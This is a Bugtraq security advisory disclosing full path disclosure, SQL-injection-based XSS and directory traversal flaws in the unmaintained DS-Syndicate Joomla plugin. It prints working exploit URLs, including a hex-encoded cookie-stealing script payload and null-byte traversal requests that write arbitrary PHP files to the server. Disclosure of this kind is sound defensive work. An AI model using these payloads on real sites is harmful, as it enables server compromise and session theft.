New vulnerabilities in plugin DS-Syndicate for Joomla

["MustLive" <mustlive () websecurity com ua>]

Hello Bugtraq!

I want to warn you about new security vulnerabilities in plugin DS-Syndicate 
for Joomla. It's my second advisory for DS-Syndicate.

-----------------------------
Advisory: New vulnerabilities in DS-Syndicate for Joomla
-----------------------------
URL: http://websecurity.com.ua/4224/
-----------------------------
Affected products: all versions of DS-Syndicate for Joomla.
-----------------------------
Timeline:

22.05.2010 - found vulnerabilities.
22.05.2010 - disclosed at my site.
23.05.2010 - informed developer (but as I wrote before, he didn't more 
support this plugin).
-----------------------------
Details:

These are Full path disclosure, Cross-Site Scripting and Directory Traversal 
vulnerabilities.

Full path disclosure:

http://site/index2.php?option=ds-syndicate&version=1&feed_id=1%0A1

Even this FPD take place in the same script and in the same parameter, but 
it shows a little more information then previous FPD and it appears not in 
one, but in two scripts at once. So it needed to fix separately.

XSS (via SQLi + FPD):

http://site/index2.php?option=ds-syndicate&version=1&feed_id=-1+union+select+1,1,1,1,1,0x3C7363726970743E616C65727428646F63756D656E742E636F6F6B6965293C2F7363726970743E,1,1,1,1,1,1,1,1,1,1,1,1,1,1%0A%23

At XSS (via SQLi) the code will not execute in browser (because xml is 
shown), but at XSS (via SQLi + FPD) the code will execute in browser 
(because html is shown). Only via SQL Injection it's not possible to conduct 
XSS attack, because the code isn't executing in browser, but at using 
together SQLi and FPD it's possible to conduct XSS attack.

Directory Traversal:

For writing of any files, particularly PHP scripts, and also for overwriting 
any files at the server (at disabled magic quotes):

http://site/index2.php?option=ds-syndicate&version=1&feed_id=/../../../../1.php%00

File available: http://site/1.php

For writing of xml-files - for conducting of XSS (via XML) and LFI attacks, 
and also for overwriting of xml-files at the server:

http://site/index2.php?option=ds-syndicate&version=1&feed_id=/../../../../1

File available: http://site/1.xml

For writing of PHP scripts and other files, and also for conducting of XSS 
and LFI attacks it's needed to use one from parameters 2, 3, 6 or 18 of SQL 
query.

http://site/index2.php?option=ds-syndicate&version=1&feed_id=-1+union+select+1,0x436F6465,0x436F6465,1,1,0x436F6465,1,1,1,1,1,1,1,1,1,1,1,0x436F6465,1,1%23/../../../../1

Note, that developer of the plugin don't support it anymore, so users of the
plugin need to fix it by themselves.

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua